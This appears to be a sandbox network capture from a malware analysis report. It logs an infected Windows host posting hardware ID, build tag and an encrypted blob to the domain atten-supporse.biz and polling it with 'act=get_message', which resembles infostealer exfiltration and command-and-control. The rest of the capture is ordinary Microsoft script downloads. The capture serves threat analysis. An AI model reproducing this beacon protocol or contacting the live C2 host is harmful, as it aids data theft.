2024-12-02 10:22:29 UTC	15331	OUT	Data Raw: 2d 2d 41 44 44 4a 35 52 55 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 41 44 44 4a 35 52 55 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 44 44 4a 35 52 55 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 41 44 44 4a 35 52 55 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --ADDJ5RURContent-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--ADDJ5RURContent-Disposition: form-data; name="pid"1--ADDJ5RURContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ADDJ5RURContent-Di
2024-12-02 10:22:29 UTC	15331	OUT	Data Raw: a0 09 3f e5 c7 31 cd 80 76 5f 6e 26 87 c3 45 f7 c1 58 c1 90 8d b3 fc 9d b7 41 31 6e 34 4f da 95 07 de 17 c9 86 ad 1d 26 97 c6 55 cb f8 e0 b3 b4 10 b9 8d 71 ce 36 66 08 4c a5 c0 f4 ae 3e f0 79 56 52 31 fd ec 35 5b ea 0b 4b bd 77 3b ec 62 55 84 57 78 c4 d2 f1 fc d1 0c 21 f9 32 ee ca c0 e4 0f 32 e5 cd f4 4e 22 a5 76 70 e9 bc b7 56 08 21 44 ef a7 e2 49 a4 65 86 80 ff b6 ed 0a 37 78 ad f4 f0 4c 25 8f 5b 92 ca 65 5d 71 89 c4 43 0e 39 8b 80 dc b0 44 e9 e1 18 7b f7 4a 43 5a bf 92 2a e2 07 cb 4f d7 14 44 0c 8b 60 da 86 bf 56 52 7b f1 de f0 53 45 66 a6 c2 8c 1b ef ca 1d d2 a5 cd 00 b7 aa f4 1e f7 c5 d5 fa ea b5 b5 79 de 93 8e 97 cd dd e7 c5 f1 9f f7 0c 46 e2 84 ab 7a f4 83 5b c4 e5 cd 45 86 7d 6c 00 07 85 5f ac 52 34 e8 f6 42 67 6b b8 f2 9e 1a 25 af bc 93 0a ba 0c Data Ascii: ?1v_n&EXA1n4O&Uq6fL>yVR15[Kw;bUWx!22N"vpV!DIe7xL%[e]qC9D{JCZ*OD`VR{SEfyFz[E}l_R4Bgk%
2024-12-02 10:22:29 UTC	1071	OUT	Data Raw: 9b 12 0e 1f fb 38 7b 20 6a e3 fd 4f 09 9d 05 cf f4 cd 56 6f be f0 e7 9e df db d6 62 6b 59 63 d5 9a 47 39 e1 b7 77 51 19 05 d7 ec 9a 8f be b7 8f 30 52 05 02 6d be 3e cc bb 44 4e ad d8 94 cc dc b4 06 d5 00 b3 93 19 11 ae 23 4f 6d c7 53 14 eb 61 51 9f 5b cf 98 3d cc 8d ce af 22 57 7f f3 97 c4 88 cb 5b 7f 05 0a 63 82 59 9c 55 6e 88 dd 36 20 35 4f 86 9c 9c 9d 7c 41 c3 65 2b 00 d2 a3 eb c1 9e aa 3f 76 31 90 0d f3 8b 19 9d 3c 36 e0 20 06 7e f9 3c 37 43 a0 94 51 d6 51 3e ff d6 1a b0 93 19 70 63 7c 23 76 cd 7e 11 d5 72 44 ac 0b 08 94 0a 5a 65 53 52 fa fa b8 78 4c d1 c0 5a 89 b3 a8 fd a7 b1 3c 2b 88 d4 3a 79 3b e4 10 75 69 5d 9b 18 20 ae 97 39 97 a7 aa b0 26 ed 6e a4 1c 1e 2a 37 1b 75 96 76 4b e5 28 46 6f 1a 61 20 8b ad 65 1c 58 1f 47 b3 95 ca 62 bc 20 58 ca 2e 44 Data Ascii: 8{ jOVobkYcG9wQ0Rm>DN#OmSaQ[="W[cYUn6 5O\|Ae+?v1<6 ~<7CQQ>pc\|#v~rDZeSRxLZ<+:y;ui] 9&n*7uvK(Foa eXGb X.D
2024-12-02 10:22:32 UTC	1028	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jehigenlea7q8ph45v54osmvch; expires=Fri, 28-Mar-2025 04:09:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4%2FFZP%2FQqWCXZQpBCOGstS234Qugtb13yWk5PKcFzNIdvwXSDVl9youi4apUVETx%2BgnjG9SlHNHGUB75jDl9KOhcxihhEThvPxoTn%2F7bcwqz%2Fyi3BP7npIhqNi0SBt0aftPArnT0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba989bceb5f20b-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=156848&min_rtt=156730&rtt_var=33257&sent=18&recv=33&lost=0&retrans=0&sent_bytes=2845&recv_bytes=32731&delivery_rate=24364&cwnd=252&unsent_bytes=0&cid=5bcb58819dd5ac09&ts=3141&x=0"
2024-12-02 10:22:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:22:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.11.20	49892	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:33 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-02 10:22:33 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=033285EDB129FD4CDB71E32F12885CB3
2024-12-02 10:22:34 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rkrh2fs55sbg6jvs5v9ifsbo24; expires=Fri, 28-Mar-2025 04:09:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XGMqS7WpvzDz2XX%2FSdVeyDeCQZ4Q08K4SXr02jtpLj0Ic3A7E1ht5V0o6lMdcHSivItgR%2FnJTdUdftF5nKE%2BnHumVy7w1T%2FpalLtrAyxXT1OCnwNe8aQ41joh80drzedk0Nv%2FmE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba98b2afa27ca3-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157411&min_rtt=157155&rtt_var=33290&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=24341&cwnd=252&unsent_bytes=0&cid=da5f21bc4052d3c1&ts=937&x=0"
2024-12-02 10:22:34 UTC	214	IN	Data Raw: 64 30 0d 0a 35 7a 6d 35 6b 45 37 32 77 50 43 51 38 67 4c 2b 4f 37 61 4f 6a 44 54 36 43 47 7a 4e 76 63 73 38 50 42 75 50 6c 31 33 52 44 4b 65 38 51 70 76 6c 62 4d 7a 69 6d 4f 53 47 63 73 52 6e 6d 64 4b 6a 42 63 49 39 51 76 2b 4d 2f 68 49 4e 4b 72 79 35 62 4f 64 51 69 49 68 66 33 38 78 68 6b 71 57 57 76 70 64 36 6d 78 6d 61 72 4f 70 41 32 44 4a 63 34 5a 2b 75 48 67 59 71 38 72 73 6d 38 33 6d 46 33 52 76 52 35 44 71 47 2b 71 79 2f 72 69 33 50 41 34 4f 67 76 67 58 50 4a 6c 33 38 6a 75 55 4e 43 6b 65 67 35 43 6d 30 62 63 71 37 46 73 76 78 49 4a 4b 76 6e 62 36 58 65 70 73 5a 6d 71 7a 71 51 4e 67 79 58 4f 47 66 72 68 34 47 4b 2f 4c 4b 0d 0a Data Ascii: d05zm5kE72wPCQ8gL+O7aOjDT6CGzNvcs8PBuPl13RDKe8QpvlbMzimOSGcsRnmdKjBcI9Qv+M/hINKry5bOdQiIhf38xhkqWWvpd6mxmarOpA2DJc4Z+uHgYq8rsm83mF3RvR5DqG+qy/ri3PA4OgvgXPJl38juUNCkeg5Cm0bcq7FsvxIJKvnb6XepsZmqzqQNgyXOGfrh4GK/LK
2024-12-02 10:22:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.11.20	49909	23.209.84.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:37 UTC	413	OUT	OPTIONS /api/report?cat=mdocs HTTP/1.1 Host: mdec.nelreports.net Connection: keep-alive Origin: https://learn.microsoft.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:22:38 UTC	441	IN	HTTP/1.1 503 Service Unavailable Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 280 Expires: Mon, 02 Dec 2024 10:22:38 GMT Date: Mon, 02 Dec 2024 10:22:38 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.2bc1c917.1733134957.48e9956c Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-12-02 10:22:38 UTC	280	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 33 30 26 23 34 36 3b 32 62 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 34 39 35 37 26 23 34 36 3b 34 38 65 39 39 35 36 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 33 30 26 23 34 36 3b 32 62 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 34 39 35 37 26 23 34 36 3b 34 38 65 Data Ascii: <HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>An error occurred while processing your request.<p>Reference #30.2bc1c917.1733134957.48e9956c<P>https://errors.edgesuite.net/30.2bc1c917.1733134957.48e

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.11.20	49918	13.107.246.71	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:39 UTC	558	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:22:40 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:40 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 38700 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 6033da4c-d01e-00a3-3e4a-44a51a000000 x-ms-version: 2009-09-19 x-azure-ref: 20241202T102240Z-166fdcf7d95gssdwhC1LAXz48800000008ug00000000ckxg Accept-Ranges: bytes
2024-12-02 10:22:40 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-12-02 10:22:40 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-12-02 10:22:40 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.11.20	49919	13.107.246.71	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:39 UTC	556	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:22:40 UTC	889	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:40 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 8d896b17-401e-00b1-17a3-2ddeca000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241202T102240Z-166fdcf7d95swzmzhC1LAXxuvs00000008hg00000000m6gd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 10:22:40 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: 